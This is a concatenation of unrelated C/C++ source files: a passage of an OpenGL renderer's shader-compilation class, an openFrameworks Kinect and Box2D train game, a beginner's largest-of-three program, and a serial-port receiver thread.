openGLShader; } uint32_t ShaderLanguageSeparate::loadShaderProgramFromBytecode(OpenGLRenderer& openGLRenderer, uint32_t shaderType, const Renderer::ShaderBytecode& shaderBytecode) { // Create and load the shader object const GLuint openGLShader = loadShaderFromBytecode(openGLRenderer, shaderType, shaderBytecode); // Specialize the shader // -> Before this shader the isn't compiled, after this shader is supposed to be compiled glSpecializeShaderARB(openGLShader, "main", 0, nullptr, nullptr); // Check the compile status GLint compiled = GL_FALSE; glGetObjectParameterivARB(openGLShader, GL_OBJECT_COMPILE_STATUS_ARB, &compiled); if (GL_TRUE == compiled) { // All went fine, create and return the program const GLuint openGLProgram = glCreateProgramObjectARB(); glProgramParameteri(openGLProgram, GL_PROGRAM_SEPARABLE, GL_TRUE); glAttachObjectARB(openGLProgram, openGLShader); glLinkProgramARB(openGLProgram); glDetachObjectARB(openGLProgram, openGLShader); glDeleteObjectARB(openGLShader); // Check the link status GLint linked = GL_FALSE; glGetObjectParameterivARB(openGLProgram, GL_OBJECT_LINK_STATUS_ARB, &linked); if (GL_TRUE != linked) { // Error, program link failed! ::detail::printOpenGLShaderProgramInformationIntoLog(openGLRenderer, openGLProgram, nullptr); } // Done return openGLProgram; } else { // Error, failed to compile the shader! ::detail::printOpenGLShaderProgramInformationIntoLog(openGLRenderer, openGLShader, nullptr); // Destroy the OpenGL shader // -> A value of 0 for shader will be silently ignored glDeleteObjectARB(openGLShader); // Error! return 0; } } uint32_t ShaderLanguageSeparate::loadShaderProgramFromSourceCode(OpenGLRenderer& openGLRenderer, uint32_t shaderType, const char* sourceCode) { // Create the shader program const GLuint openGLProgram = glCreateShaderProgramv(shaderType, 1, &sourceCode); // Check the link status GLint linked = GL_FALSE; glGetObjectParameterivARB(openGLProgram, GL_LINK_STATUS, &linked); if (GL_TRUE == linked) { // All went fine, return the program return openGLProgram; } else { // Error, failed to compile the shader! ::detail::printOpenGLShaderProgramInformationIntoLog(openGLRenderer, openGLProgram, sourceCode); // Destroy the program // -> A value of 0 for shader will be silently ignored glDeleteProgram(openGLProgram); // Error! return 0; } } void ShaderLanguageSeparate::shaderSourceCodeToShaderBytecode(OpenGLRenderer& openGLRenderer, uint32_t shaderType, const char* sourceCode, Renderer::ShaderBytecode& shaderBytecode) { #ifdef OPENGLRENDERER_GLSLTOSPIRV // Initialize glslang, if necessary if (!::detail::GlslangInitialized) { glslang::InitializeProcess(); ::detail::GlslangInitialized = true; } // GLSL to intermediate // -> OpenGL 4.1 (the best OpenGL version Mac OS X 10.11 supports, so lowest version we have to support) const int glslVersion = 410; EShLanguage shLanguage = EShLangCount; switch (shaderType) { case GL_VERTEX_SHADER_ARB: shLanguage = EShLangVertex; break; case GL_TESS_CONTROL_SHADER: shLanguage = EShLangTessControl; break; case GL_TESS_EVALUATION_SHADER: shLanguage = EShLangTessEvaluation; break; case GL_GEOMETRY_SHADER_ARB: shLanguage = EShLangGeometry; break; case GL_FRAGMENT_SHADER_ARB: shLanguage = EShLangFragment; break; } glslang::TShader shader(shLanguage); shader.setEnvInput(glslang::EShSourceGlsl, shLanguage, glslang::EShClientOpenGL, glslVersion); shader.setEntryPoint("main"); { const char* sourcePointers[] = { sourceCode }; shader.setStrings(sourcePointers, 1); } const EShMessages shMessages = static_cast<EShMessages>(EShMsgDefault); if (shader.parse(&::detail::DefaultTBuiltInResource, glslVersion, false, shMessages)) { glslang::TProgram program; program.addShader(&shader); if (program.link(shMessages)) { // Intermediate to SPIR-V const glslang::TIntermediate* intermediate = program.getIntermediate(shLanguage); if (nullptr != intermediate) { std::vector<unsigned int> spirv; glslang::GlslangToSpv(*intermediate, spirv); // Encode to SMOL-V: like Vulkan/Khronos SPIR-V, but smaller // -> https://github.com/aras-p/smol-v // -> http://aras-p.info/blog/2016/09/01/SPIR-V-Compression/ // -> Don't apply "spv::spirvbin_t::remap()" or the SMOL-V result will be bigger smolv::ByteArray byteArray; smolv::Encode(spirv.data(), sizeof(unsigned int) * spirv.size(), byteArray, smolv::kEncodeFlagStripDebugInfo); // Done shaderBytecode.setBytecodeCopy(static_cast<uint32_t>(byteArray.size()), reinterpret_cast<uint8_t*>(byteArray.data())); } } else { // Failed to link the program if (openGLRenderer.getContext().getLog().print(Renderer::ILog::Type::CRITICAL, sourceCode, __FILE__, static_cast<uint32_t>(__LINE__), "Failed to link the GLSL program: %s", program.getInfoLog())) { DEBUG_BREAK; } } } else { // Failed to parse the shader source code if (openGLRenderer.getContext().getLog().print(Renderer::ILog::Type::CRITICAL, sourceCode, __FILE__, static_cast<uint32_t>(__LINE__), "Failed to parse the GLSL shader source code: %s", shader.getInfoLog())) { DEBUG_BREAK; } } #else std::ignore = shaderType; std::ignore = sourceCode; std::ignore = shaderBytecode; #endif } //[-------------------------------------------------------] //[ Public methods ] //[-------------------------------------------------------] ShaderLanguageSeparate::ShaderLanguageSeparate(OpenGLRenderer& openGLRenderer) : IShaderLanguage(openGLRenderer) { // Nothing here } ShaderLanguageSeparate::~ShaderLanguageSeparate() { // De-initialize glslang, if necessary #ifdef OPENGLRENDERER_GLSLTOSPIRV if (::detail::GlslangInitialized) { // TODO(co) Fix glslang related memory leaks. See also // - "Fix a few memory leaks #916" - https://github.com/KhronosGroup/glslang/pull/916 // - "FreeGlobalPools is never called in glslang::FinalizeProcess()'s path. #928" - https://github.com/KhronosGroup/glslang/issues/928 glslang::FinalizeProcess(); ::detail::GlslangInitialized = false; } #endif } //[-------------------------------------------------------] //[ Public virtual Renderer::IShaderLanguage methods ] //[-------------------------------------------------------] const char* ShaderLanguageSeparate::getShaderLanguageName() const { return NAME; } Renderer::IVertexShader* ShaderLanguageSeparate::createVertexShaderFromBytecode(const Renderer::VertexAttributes& vertexAttributes, const Renderer::ShaderBytecode& shaderBytecode) { // Check whether or not there's vertex shader support OpenGLRenderer& openGLRenderer = static_cast<OpenGLRenderer&>(getRenderer()); const Extensions& extensions = openGLRenderer.getExtensions(); if (extensions.isGL_ARB_vertex_shader() && extensions.isGL_ARB_gl_spirv()) { return RENDERER_NEW(getRenderer().getContext(), VertexShaderSeparate)(openGLRenderer, vertexAttributes, shaderBytecode); } else { // Error! There's no vertex shader support or no decent shader bytecode support! return nullptr; } } Renderer::IVertexShader* ShaderLanguageSeparate::createVertexShaderFromSourceCode(const Renderer::VertexAttributes& vertexAttributes, const Renderer::ShaderSourceCode& shaderSourceCode, Renderer::ShaderBytecode* shaderBytecode) { // Check whether or not there's vertex shader support OpenGLRenderer& openGLRenderer = static_cast<OpenGLRenderer&>(getRenderer()); const Extensions& extensions = openGLRenderer.getExtensions(); if (extensions.isGL_ARB_vertex_shader()) { return RENDERER_NEW(getRenderer().getContext(), VertexShaderSeparate)(openGLRenderer, vertexAttributes, shaderSourceCode.sourceCode, extensions.isGL_ARB_gl_spirv() ? shaderBytecode : nullptr); } else { // Error! There's no vertex shader support! return nullptr; } } Renderer::ITessellationControlShader* ShaderLanguageSeparate::createTessellationControlShaderFromBytecode(const Renderer::ShaderBytecode& shaderBytecode) { // Check whether or not there's tessellation support OpenGLRenderer& openGLRenderer = static_cast<OpenGLRenderer&>(getRenderer()); const Extensions& extensions = openGLRenderer.getExtensions(); if (extensions.isGL_ARB_tessellation_shader() && extensions.isGL_ARB_gl_spirv()) { return RENDERER_NEW(getRenderer().getContext(), TessellationControlShaderSeparate)(openGLRenderer, shaderBytecode); } else { // Error! There's no tessellation support or no decent shader bytecode support! return nullptr; } } Renderer::ITessellationControlShader* ShaderLanguageSeparate::createTessellationControlShaderFromSourceCode(const Renderer::ShaderSourceCode& shaderSourceCode, Renderer::ShaderBytecode* shaderBytecode) { // Check whether or not there's tessellation support OpenGLRenderer& openGLRenderer = static_cast<OpenGLRenderer&>(getRenderer()); const Extensions& extensions = openGLRenderer.getExtensions(); if (extensions.isGL_ARB_tessellation_shader()) { return RENDERER_NEW(getRenderer().getContext(), TessellationControlShaderSeparate)(openGLRenderer, shaderSourceCode.sourceCode, extensions.isGL_ARB_gl_spirv() ? shaderBytecode : nullptr); } else { // Error! There's no tessellation support! return nullptr; } } Renderer::ITessellationEvaluationShader* ShaderLanguageSeparate::createTessellationEvaluationShaderFromBytecode(const Renderer::ShaderBytecode& shaderBytecode) { // Check whether or not there's tessellation support OpenGLRenderer& openGLRenderer = static_cast<OpenGLRenderer&>(getRenderer()); const Extensions& extensions = openGLRenderer.getExtensions(); if (extensions.isGL_ARB_tessellation_shader() && extensions.isGL_ARB_gl_spirv()) { return RENDERER_NEW(getRenderer().getContext(), TessellationEvaluationShaderSeparate)(openGLRenderer, shaderBytecode); } else { // Error! There's no tessellation support or no decent shader bytecode support! return nullptr; } } Renderer::ITessellationEvaluationShader* ShaderLanguageSeparate::createTessellationEvaluationShaderFromSourceCode(const Renderer::ShaderSourceCode& shaderSourceCode, Renderer::ShaderBytecode* shaderBytecode) { // Check whether or not there's tessellation support OpenGLRenderer& openGLRenderer = static_cast<OpenGLRenderer&>(getRenderer()); const Extensions& extensions = openGLRenderer.getExtensions(); if (extensions.isGL_ARB_tessellation_shader()) { return RENDERER_NEW(getRenderer().getContext(), TessellationEvaluationShaderSeparate)(openGLRenderer, shaderSourceCode.sourceCode, extensions.isGL_ARB_gl_spirv() ? shaderBytecode : nullptr); } else { // Error! There's no tessellation support! return nullptr; } } Renderer::IGeometryShader* ShaderLanguageSeparate::createGeometryShaderFromBytecode(const Renderer::ShaderBytecode& shaderBytecode, Renderer::GsInputPrimitiveTopology gsInputPrimitiveTopology, Renderer::GsOutputPrimitiveTopology gsOutputPrimitiveTopology, uint32_t numberOfOutputVertices) { // Check whether or not there's geometry shader support OpenGLRenderer& openGLRenderer = static_cast<OpenGLRenderer&>(getRenderer()); const Extensions& extensions = openGLRenderer.getExtensions(); if (extensions.isGL_ARB_geometry_shader4() && extensions.isGL_ARB_gl_spirv()) { // In modern GLSL, "geometry shader input primitive topology" & "geometry shader output primitive topology" & "number of output vertices" can be directly set within GLSL by writing e.g. // "layout(triangles) in;" // "layout(triangle_strip, max_vertices = 3) out;" // -> To be able to support older GLSL versions, we have to provide this information also via OpenGL API functions return RENDERER_NEW(getRenderer().getContext(), GeometryShaderSeparate)(openGLRenderer, shaderBytecode, gsInputPrimitiveTopology, gsOutputPrimitiveTopology, numberOfOutputVertices); } else { // Error! There's no geometry shader support or no decent shader bytecode support! return nullptr; } } Renderer::IGeometryShader* ShaderLanguageSeparate::createGeometryShaderFromSourceCode(const Renderer::ShaderSourceCode& shaderSourceCode, Renderer::GsInputPrimitiveTopology gsInputPrimitiveTopology, Renderer::GsOutputPrimitiveTopology gsOutputPrimitiveTopology, uint32_t numberOfOutputVertices, Renderer::ShaderBytecode* shaderBytecode) { // Check whether or not there's geometry shader support OpenGLRenderer& openGLRenderer = static_cast<OpenGLRenderer&>(getRenderer()); const Extensions& extensions = openGLRenderer.getExtensions(); if (extensions.isGL_ARB_geometry_shader4()) { // In modern GLSL, "geometry shader input primitive topology" & "geometry shader output primitive topology" & "number of output vertices" can be directly set within GLSL by writing e.g. // "layout(triangles) in;" // "layout(triangle_strip, max_vertices = 3) out;" // -> To be able to support older GLSL versions, we have to provide this information also via OpenGL API functions return RENDERER_NEW(getRenderer().getContext(), GeometryShaderSeparate)(openGLRenderer, shaderSourceCode.sourceCode, gsInputPrimitiveTopology, gsOutputPrimitiveTopology, numberOfOutputVertices, extensions.isGL_ARB_gl_spirv() ? shaderBytecode : nullptr); } else { // Error! There's no geometry shader support! return nullptr; } } Renderer::IFragmentShader* ShaderLanguageSeparate::createFragmentShaderFromBytecode(const Renderer::ShaderBytecode& shaderBytecode) { // Check whether or not there's fragment shader support OpenGLRenderer& openGLRenderer = static_cast<OpenGLRenderer&>(getRenderer()); const Extensions& extensions = openGLRenderer.getExtensions(); if (extensions.isGL_ARB_fragment_shader() && extensions.isGL_ARB_gl_spirv()) { return RENDERER_NEW(getRenderer().getContext(), FragmentShaderSeparate)(openGLRenderer, shaderBytecode); } else { // Error! There's no fragment shader support or no decent shader bytecode support! return nullptr; } } Renderer::IFragmentShader* ShaderLanguageSeparate::createFragmentShaderFromSourceCode(const Renderer::ShaderSourceCode& shaderSourceCode, Renderer::ShaderBytecode* shaderBytecode) { // Check whether or not there's fragment shader support OpenGLRenderer& openGLRenderer = static_cast<OpenGLRenderer&>(getRenderer()); const Extensions& extensions = openGLRenderer.getExtensions(); if (extensions.isGL_ARB_fragment_shader()) { return RENDERER_NEW(getRenderer().getContext(), FragmentShaderSeparate)(openGLRenderer, shaderSourceCode.sourceCode, extensions.isGL_ARB_gl_spirv() ? shaderBytecode : nullptr); } else { // Error! There's no fragment shader support! return nullptr; } } Renderer::IProgram* ShaderLanguageSeparate::createProgram(const Renderer::IRootSignature& rootSignature, const Renderer::VertexAttributes&, Renderer::IVertexShader* vertexShader, Renderer::ITessellationControlShader* tessellationControlShader, Renderer::ITessellationEvaluationShader* tessellationEvaluationShader, Renderer::IGeometryShader* geometryShader, Renderer::IFragmentShader* fragmentShader) { OpenGLRenderer& openGLRenderer = static_cast<OpenGLRenderer&>(getRenderer()); // A shader can be a null pointer, but if it's not the shader and program language must match! // -> Optimization: Comparing the shader language name by directly comparing the pointer address of // the name is safe because we know that we always reference to one and the same name address // TODO(co) Add security check: Is the given resource one of the currently used renderer? if (nullptr != vertexShader && vertexShader->getShaderLanguageName() != NAME) { // Error! Vertex shader language mismatch! } else if (nullptr != tessellationControlShader && tessellationControlShader->getShaderLanguageName() != NAME) { // Error! Tessellation control shader language mismatch! } else if (nullptr != tessellationEvaluationShader && tessellationEvaluationShader->getShaderLanguageName() != NAME) { // Error! Tessellation evaluation shader language mismatch! } else if (nullptr != geometryShader && geometryShader->getShaderLanguageName() != NAME) { // Error! Geometry shader language mismatch! } else if (nullptr != fragmentShader && fragmentShader->getShaderLanguageName() != NAME) { // Error! Fragment shader language mismatch! } // Is "GL_EXT_direct_state_access" there? else if (openGLRenderer.getExtensions().isGL_EXT_direct_state_access() || openGLRenderer.getExtensions().isGL_ARB_direct_state_access()) { // Effective direct state access (DSA) return RENDERER_NEW(getRenderer().getContext(), ProgramSeparateDsa)(openGLRenderer, rootSignature, static_cast<VertexShaderSeparate*>(vertexShader), static_cast<TessellationControlShaderSeparate*>(tessellationControlShader), static_cast<TessellationEvaluationShaderSeparate*>(tessellationEvaluationShader), static_cast<GeometryShaderSeparate*>(geometryShader), static_cast<FragmentShaderSeparate*>(fragmentShader)); } else { // Traditional bind version return RENDERER_NEW(getRenderer().getContext(), ProgramSeparate)(openGLRenderer, rootSignature, static_cast<VertexShaderSeparate*>(vertexShader), static_cast<TessellationControlShaderSeparate*>(tessellationControlShader), static_cast<TessellationEvaluationShaderSeparate*>(tessellationEvaluationShader), static_cast<GeometryShaderSeparate*>(geometryShader), static_cast<FragmentShaderSeparate*>(fragmentShader)); } // Error! Shader language mismatch! // -> Ensure a correct reference counter behaviour, even in the situation of an error if (nullptr != vertexShader) { vertexShader->addReference(); vertexShader->releaseReference(); } if (nullptr != tessellationControlShader) { tessellationControlShader->addReference(); tessellationControlShader->releaseReference(); } if (nullptr != tessellationEvaluationShader) { tessellationEvaluationShader->addReference(); tessellationEvaluationShader->releaseReference(); } if (nullptr != geometryShader) { geometryShader->addReference(); geometryShader->releaseReference(); } if (nullptr != fragmentShader) { fragmentShader->addReference(); fragmentShader->releaseReference(); } // Error! return nullptr; } //[-------------------------------------------------------] //[ Protected virtual Renderer::RefCount methods ] //[-------------------------------------------------------] void ShaderLanguageSeparate::selfDestruct() { RENDERER_DELETE(getRenderer().getContext(), ShaderLanguageSeparate, this); } //[-------------------------------------------------------] //[ Namespace ] //[-------------------------------------------------------] } // OpenGLRenderer
#include "testApp.h" //-------------------------------------------------------------- void testApp::setup(){ ofSetFrameRate(60); // Kinect initialization code kinect.initSensor(); // We first set up data streams for the Kinect (color, depth and skeleton tracking) kinect.initColorStream(640, 480, true); kinect.initDepthStream(640, 480, true); kinect.initSkeletonStream(false); // Launch Kinect kinect.start(); box2d.init(); box2d.setGravity(0, 10); box2d.createBounds(); box2d.setFPS(30.0); box2d.registerGrabbing(); ambientCanyon.loadImage("westernvalley.gif"); LHumerusTrack.setup(box2d.getWorld(),0,0, 80, 20); RHumerusTrack.setup(box2d.getWorld(),0,0, 80, 20); LRadiusTrack.setup( box2d.getWorld(),0,0, 70, 20); RRadiusTrack.setup( box2d.getWorld(),0,0, 70, 20); explosion.loadSound("explosion.wav"); explosion.setVolume(1.0f); explosion.setLoop(false); splash.loadSound("splash.wav"); splash.setVolume(1.0f); splash.setLoop(false); mines.loadSound("mines.mp3"); mines.setVolume(0.6f); mines.setLoop(true); mines.play(); score = 0; level = 1; started = false; //SET UP THE TRACKS: generateLevel(); } //-------------------------------------------------------------- void testApp::update(){ kinect.update(); box2d.update(); if(vehicles.size() == 0){ vehicles.push_back(ofPtr<Vehicle>(new Vehicle)); vehicles.back().get()->setPhysics(3.0, 0.0, 0.1); vehicles.back().get()->setVelocity(5,0); vehicles.back().get()->setup(box2d.getWorld(), 20, 230 , 30, 30); } if(started != false){ //SE ACTUALIZAN LOS VEHICULOS for(int i=0; i< vehicles.size(); i++) { vehicles[i].get()->update(); if(vehicles[i].get()->getPosition().x > ofGetWidth()-20){ //vehicles[i].get()->destroy(); //vehicles[i].get()->setPosition(20,220); score += 1; } } for(int i=0; i<vehicles.size(); i++) { //SI LLEGAN AL FINAL SE ENVIAN AL LIMBO A ESPERAR (PORQUE NO SE PUEDEN DESTRUIR...?) if( vehicles[i].get()->getPosition().x > ofGetWidth()-20){ vehicles[i].get()->setPosition(2000,2000); //generateLevel(); } } for(int i = 0 ; i < vehicles.size() ; i++){ //SI CAEN AL AGUA SE REINICIA EL NIVEL if( vehicles[i].get()->getPosition().y > ofGetHeight()-50 && vehicles[i].get()->getPosition().x > 0 && vehicles[i].get()->getPosition().x < ofGetWidth()){ splash.play(); //vehicles[i].get()->setPosition(20,220); started = false; resetTrains(); } } //if all trains are done: if(allTrainsDone() == true){ level++; generateLevel(); started = false; for(int i=0; i<vehicles.size(); i++) { vehicles[i].get()->setPosition(15,230); } if(level%3 == 0){ vehicles.push_back(ofPtr<Vehicle>(new Vehicle)); vehicles.back().get()->setPhysics(3.0, 0.0, 0.1); vehicles.back().get()->setVelocity(5,0); vehicles.back().get()->setup(box2d.getWorld(), 20, 230 , 30, 30); } } } } //-------------------------------------------------------------- void testApp::draw(){ ofDisableAlphaBlending(); ofSetColor(255); kinect.draw(0, 0); ofEnableAlphaBlending(); for(int i=0; i<circles.size(); i++) { ofFill(); ofSetHexColor(0xf6c738); circles[i].get()->draw(); } for(int i=0; i<boxes.size(); i++) { ofFill(); ofSetHexColor(0xBF2545); boxes[i].get()->draw(); } for(int i=0; i<vehicles.size(); i++) { ofFill(); ofSetColor(50,200,50); vehicles[i].get()->draw(); } for(int i = 0 ; i < tracks.size() ; i++){ ofFill(); ofSetColor(40,180,70); tracks[i].get()->draw(); } LHumerusTrack.draw(); RHumerusTrack.draw(); LRadiusTrack.draw(); RRadiusTrack.draw(); ofSetColor(50,50,200); //train.draw(); // draw the ground box2d.drawGround(); string info = ""; /*info += "Press [c] for circles\n"; info += "Press [b] for blocks\n"; info += "Total Bodies: "+ofToString(box2d.getBodyCount())+"\n"; info += "Total Joints: "+ofToString(box2d.getJointCount())+"\n\n";*/ info += "FPS: "+ofToString(ofGetFrameRate(), 1)+"\n"; info += "Time: "+ofToString(ofGetElapsedTimef())+"\n"; info += "Score: "+ofToString(score)+"\n"; info += "Level: "+ofToString(level)+"\n"; ofFill(); ofSetColor(255); ofDrawBitmapString(info, 30, 30); //SCENARIO ELEMENTS ofSetColor(50,100,230,180); ofRect(0,ofGetHeight()-50,ofGetWidth(),50); //THE RIVER!!! ofSetColor(255); ambientCanyon.draw(0,0); //THE VALLEY!! if(kinect.isNewSkeleton()) { ofSetColor(255); for(int i = 0 ; i < kinect.getSkeletons().size(); i++) { if(kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_HEAD) != kinect.getSkeletons().at(i).end()) { SkeletonBone headBone = kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_HEAD)->second; ofVec2f headScreenPosition(headBone.getScreenPosition().x, headBone.getScreenPosition().y); if(started == false){ ofSetColor(255,255,100); ofCircle(headScreenPosition.x+50, headScreenPosition.y-30, 25); ofSetColor(0); ofDrawBitmapString("START",headScreenPosition.x+30, headScreenPosition.y-30); } //RIGHT SHOULDER ofSetColor(100,80,40); if(kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_SHOULDER_RIGHT) != kinect.getSkeletons().at(i).end()) { SkeletonBone RShoulderBone = kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_SHOULDER_RIGHT)->second; ofVec2f partScreenPosition(RShoulderBone.getScreenPosition().x, RShoulderBone.getScreenPosition().y); ofCircle(partScreenPosition.x, partScreenPosition.y, 10); //LEFT SHOULDER if(kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_SHOULDER_LEFT) != kinect.getSkeletons().at(i).end()) { SkeletonBone LShoulderBone = kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_SHOULDER_LEFT)->second; ofVec2f partScreenPosition(LShoulderBone.getScreenPosition().x, LShoulderBone.getScreenPosition().y); ofCircle(partScreenPosition.x, partScreenPosition.y, 10); //RIGHT HAND if(kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_WRIST_RIGHT) != kinect.getSkeletons().at(i).end()) { SkeletonBone RHandBone = kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_WRIST_RIGHT)->second; ofVec2f partScreenPosition(RHandBone.getScreenPosition().x, RHandBone.getScreenPosition().y); ofCircle(partScreenPosition.x, partScreenPosition.y, 10); //LEFT HAND if(kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_WRIST_LEFT) != kinect.getSkeletons().at(i).end()) { SkeletonBone LHandBone = kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_WRIST_LEFT)->second; ofVec2f partScreenPosition(LHandBone.getScreenPosition().x, LHandBone.getScreenPosition().y); ofCircle(partScreenPosition.x, partScreenPosition.y, 10); //RIGHT ELBOW if(kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_ELBOW_RIGHT) != kinect.getSkeletons().at(i).end()) { SkeletonBone RElbowBone = kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_ELBOW_RIGHT)->second; ofVec2f partScreenPosition(RElbowBone.getScreenPosition().x, RElbowBone.getScreenPosition().y); ofCircle(partScreenPosition.x, partScreenPosition.y, 10); //LEFT ELBOW if(kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_ELBOW_LEFT) != kinect.getSkeletons().at(i).end()) { SkeletonBone LElbowBone = kinect.getSkeletons().at(i).find(NUI_SKELETON_POSITION_ELBOW_LEFT)->second; ofVec2f partScreenPosition(LElbowBone.getScreenPosition().x, LElbowBone.getScreenPosition().y); ofCircle(partScreenPosition.x, partScreenPosition.y, 10); //Starting the game... if(started == false){ if( RHandBone.getScreenPosition().x > (headScreenPosition.x+50) && RHandBone.getScreenPosition().x < (headScreenPosition.x+80) && RHandBone.getScreenPosition().y > (headScreenPosition.y-30) && RHandBone.getScreenPosition().y < (headScreenPosition.y )) { started = true; explosion.play(); } } //Con todos los bones guardados... float LHumerusX = LElbowBone.getScreenPosition().x - LShoulderBone.getScreenPosition().x; float LHumerusY = LElbowBone.getScreenPosition().y - LShoulderBone.getScreenPosition().y; float LRadiusX = LHandBone.getScreenPosition().x - LElbowBone.getScreenPosition().x; float LRadiusY = LHandBone.getScreenPosition().y - LElbowBone.getScreenPosition().y; float RHumerusX = RElbowBone.getScreenPosition().x - RShoulderBone.getScreenPosition().x; float RHumerusY = RElbowBone.getScreenPosition().y - RShoulderBone.getScreenPosition().y; float RRadiusX = RHandBone.getScreenPosition().x - RElbowBone.getScreenPosition().x; float RRadiusY = RHandBone.getScreenPosition().y - RElbowBone.getScreenPosition().y; float LHumerusAngle = 90 - atan2(LHumerusX,LHumerusY)*180/M_PI; LHumerusTrack.setPosition((LElbowBone.getScreenPosition().x + LShoulderBone.getScreenPosition().x) / 2, (LElbowBone.getScreenPosition().y + LShoulderBone.getScreenPosition().y) / 2); LHumerusTrack.setRotation(LHumerusAngle); float RHumerusAngle = 90 - atan2(RHumerusX,RHumerusY)*180/M_PI; RHumerusTrack.setPosition((RElbowBone.getScreenPosition().x + RShoulderBone.getScreenPosition().x) / 2, (RElbowBone.getScreenPosition().y + RShoulderBone.getScreenPosition().y) / 2); RHumerusTrack.setRotation(RHumerusAngle); float LRadiusAngle = 90 - atan2(LRadiusX,LRadiusY)*180/M_PI; LRadiusTrack.setPosition((LHandBone.getScreenPosition().x + LElbowBone.getScreenPosition().x) / 2, (LHandBone.getScreenPosition().y + LElbowBone.getScreenPosition().y) / 2); LRadiusTrack.setRotation(LRadiusAngle); float RRadiusAngle = 90 - atan2(RRadiusX,RRadiusY)*180/M_PI; RRadiusTrack.setPosition((RHandBone.getScreenPosition().x + RElbowBone.getScreenPosition().x) / 2, (RHandBone.getScreenPosition().y + RElbowBone.getScreenPosition().y) / 2); RRadiusTrack.setRotation(RRadiusAngle); } } } } } } return; } } } } //-------------------------------------------------------------- void testApp::keyPressed(int key){ if(key == 'c') { float r = ofRandom(4, 20); circles.push_back(ofPtr<ofxBox2dCircle>(new ofxBox2dCircle)); circles.back().get()->setPhysics(3.0, 0.53, 0.1); circles.back().get()->setup(box2d.getWorld(), mouseX, mouseY, r); } if(key == 'b') { float w = ofRandom(4, 20); float h = ofRandom(4, 20); boxes.push_back(ofPtr<ofxBox2dRect>(new ofxBox2dRect)); boxes.back().get()->setPhysics(3.0, 0.53, 0.1); boxes.back().get()->setup(box2d.getWorld(), mouseX, mouseY, w, h); } //Si pulsamos V ahora tambien aparecen trenes! if(key == 'v') { vehicles.push_back(ofPtr<Vehicle>(new Vehicle)); vehicles.back().get()->setPhysics(3.0, 0.0, 0.1); vehicles.back().get()->setVelocity(5,0); vehicles.back().get()->setup(box2d.getWorld(), mouseX, mouseY , 30, 30); } if(key == 't') ofToggleFullscreen(); } //Funcion para generar los niveles automaticamente void testApp::generateLevel(){ if(tracks.size() > 0){ for(int i = 0; i < tracks.size() ; i++){ tracks[i].get()->setPosition(1000,1000); //tracks[i].get()->destroy(); } tracks.clear(); } //track 1 tracks.push_back(ofPtr<TrackPart>(new TrackPart)); tracks.back().get()->setup(box2d.getWorld(), 40, 250, 80, 20); tracks.back().get()->setPhysics(3.0, 0.0, 0.1); tracks.back().get()->setRotation(-5); for(int t = 1 ; t < 7 ; t++){ if(t != 4){ float w = ofRandom(30, 85); float h = 10; float r = ofRandom(-30,30); int instab = ofRandom(0,70); tracks.push_back(ofPtr<TrackPart>(new TrackPart)); tracks.back().get()->setup(box2d.getWorld(), 40+80*t, 250+instab, w, h); tracks.back().get()->setPhysics(3.0, 0.0, 0.1); tracks.back().get()->setRotation(r); tracks.back().get()->setInstability(instab); } } //last track tracks.push_back(ofPtr<TrackPart>(new TrackPart)); tracks.back().get()->setup(box2d.getWorld(), ofGetWidth()-40, 250, 80, 20); tracks.back().get()->setPhysics(3.0, 0.0, 0.1); tracks.back().get()->setRotation(0); } //Reset del vector de vehiculos a la posicion inicial void testApp::resetTrains(){ for(int i = 0 ; i < vehicles.size() ; i++){ vehicles[i].get()->setPosition(20,220); } } //Comprueba si todos los trenes del nivel han pasado al otro lado bool testApp::allTrainsDone(){ bool flag = true; for(int i = 0 ; i < vehicles.size() ; i++){ if(!(vehicles[i].get()->getPosition().x > ofGetWidth() && vehicles[i].get()->getPosition().y > ofGetHeight())){ flag = false; } } return flag; } //-------------------------------------------------------------- void testApp::keyReleased(int key){ } //-------------------------------------------------------------- void testApp::mouseMoved(int x, int y ){ } //-------------------------------------------------------------- void testApp::mouseDragged(int x, int y, int button){ } //-------------------------------------------------------------- void testApp::mousePressed(int x, int y, int button){ } //-------------------------------------------------------------- void testApp::mouseReleased(int x, int y, int button){ } //-------------------------------------------------------------- void testApp::windowResized(int w, int h){ } //-------------------------------------------------------------- void testApp::gotMessage(ofMessage msg){ } //-------------------------------------------------------------- void testApp::dragEvent(ofDragInfo dragInfo){ }
#include"conio.h" #include"stdio.h" int WIN(int x, int y,int z) { if((x>y)&&(x>z)) return x; else if((y>x)&&(y>z)) return y; else return z; } void main(void) { clrscr(); int a,b,c,d; printf("Enter value = "); scanf("%d",&a); printf("Enter value = "); scanf("%d",&b); printf("Enter value = "); scanf("%d",&c); d=WIN(a,b,c); printf("\nThe Largest value is %d",d); getch(); }
#include "receiver.h" #include "port/serial.h" #include "port/usart2.h" #include <unistd.h> Receiver::Receiver() { port = USART2::getInstance(); // protocol = new ReceiverProtocol; } Receiver::~Receiver() { if(port) { delete port; } } void Receiver::init (int dataBits, int parity, int stopBits, int baud) { ((USART2*)port)->initSerialPort(dataBits, parity, stopBits, baud); thread = new QThread(this); IThread::addToMap(this, thread); connect(thread, SIGNAL(started()), this, SLOT(run())); qDebug("Receiver::init: openPOrt=%d", ((USART2*)port)->openPort()); ((USART2*)port)->setSpecifiedBaudrate(100000); // 100K } void Receiver::run() { char buf[1024]; int result[16]; while(true){ usleep(1000*20); // qDebug("Hello, Receiver"); memset(buf, 0, 1024); ((USART2*)port)->getData(buf); ReceiverProtocol::parse(buf, result); } }